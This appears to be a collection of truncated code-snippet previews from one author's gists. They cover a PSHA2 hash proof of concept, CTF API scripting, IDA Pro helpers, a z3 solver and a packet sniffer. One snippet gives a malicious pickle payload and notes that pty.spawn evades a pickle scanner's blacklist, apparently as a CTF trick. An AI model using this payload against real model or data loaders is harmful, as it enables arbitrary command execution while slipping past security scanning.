yarienkiva

"""
> PSHA2 is a cryptographic hash function specialized for the needs of the google3 build
> system and source system. It is derived from SHA-256 by a tree construction, with 0-4
> intermediate levels depending on message size.

- https://docs.google.com/document/d/1JnrL4iFnkWrZUYXiIAZC4KLzOgj0y0gFNd4jZyZT590/edit

This is a completely unoptimised PoC of Google's PSHA2 hash function. Optimised Rust or
C version coming soon. Maybe. No promises :p

yarienkiva

"""
pty.spawn's not in the blacklist so it's the obvious choice, otherwhise
just use a module that has os as one of its imports/

pickletools.dis(b'\x80\x04(S"whoami"\nipty\nspawn\n.')
    0: \x80 PROTO      4
    2: (    MARK
    3: S        STRING     'whoami'
   13: i        INST       'pty spawn' (MARK at 2)
or 13: i        INST       'picklescan logging.os.system' (MARK at 2)

yarienkiva

import os
import time
import requests

API_URL = os.environ.get("API_URL", "https://ctf.heroctf.fr/api/v1").rstrip("/")
CTFD_TOKEN = os.environ.get(
    "CTFD_TOKEN",
    "ctfd_TOKEN_GOES_HERE",
)

yarienkiva

# grep -r 'class Unattended'
...
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedWindowsSifInstaller : public UnattendedInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedWindowsXmlInstaller : public UnattendedInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedOs2Installer : public UnattendedInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedLinuxInstaller : public UnattendedInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedDebianInstaller : public UnattendedLinuxInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedUbuntuPreseedInstaller : public UnattendedDebianInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedUbuntuAutoInstallInstaller : public UnattendedDebianInstaller
src/VBox/Main/include/UnattendedInstaller.h:class UnattendedRhelInstaller : public UnattendedLinuxInstaller

yarienkiva

import idaapi
import idautils
import ida_hexrays

jnienv_tinfo = idaapi.tinfo_t()
idaapi.parse_decl(jnienv_tinfo, idaapi.cvar.idati, "JNIEnv *env;", 0)

for func_ea in idautils.Functions():
    name = idaapi.get_name(func_ea)
    if not name.startswith("Java_"):

yarienkiva

import idaapi
import idautils
import time
import re

__author__ = "yarienkiva"  # though the script is based on mrspicky by pat0s


LOGGING_FUNC = {
    # func_name : interesting arg num

yarienkiva

#!/usr/bin/env python
# encoding: utf-8

from z3 import *
import struct
import os

# fmt: off
S = (
    0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,

yarienkiva

# this was coded months ago and I have no idea if it worked / still works
from scapy.all import AsyncSniffer, wrpcap, TCPSession, IP, TCP
from scapy.config import Conf
import threading
import logging
import queue
import time
import sys

logging.basicConfig(format="%(levelname)s:%(message)s", level=logging.INFO)

yarienkiva

import base64
import sys
import os
import io

from PIL import Image
from pythonnet import load

load("coreclr")

yarienkiva

from tqdm import tqdm
import subprocess
import logging
import email
import time

logging.basicConfig(level=logging.INFO)

VM_USERNAME = "..."
VM_PASSWORD = "..."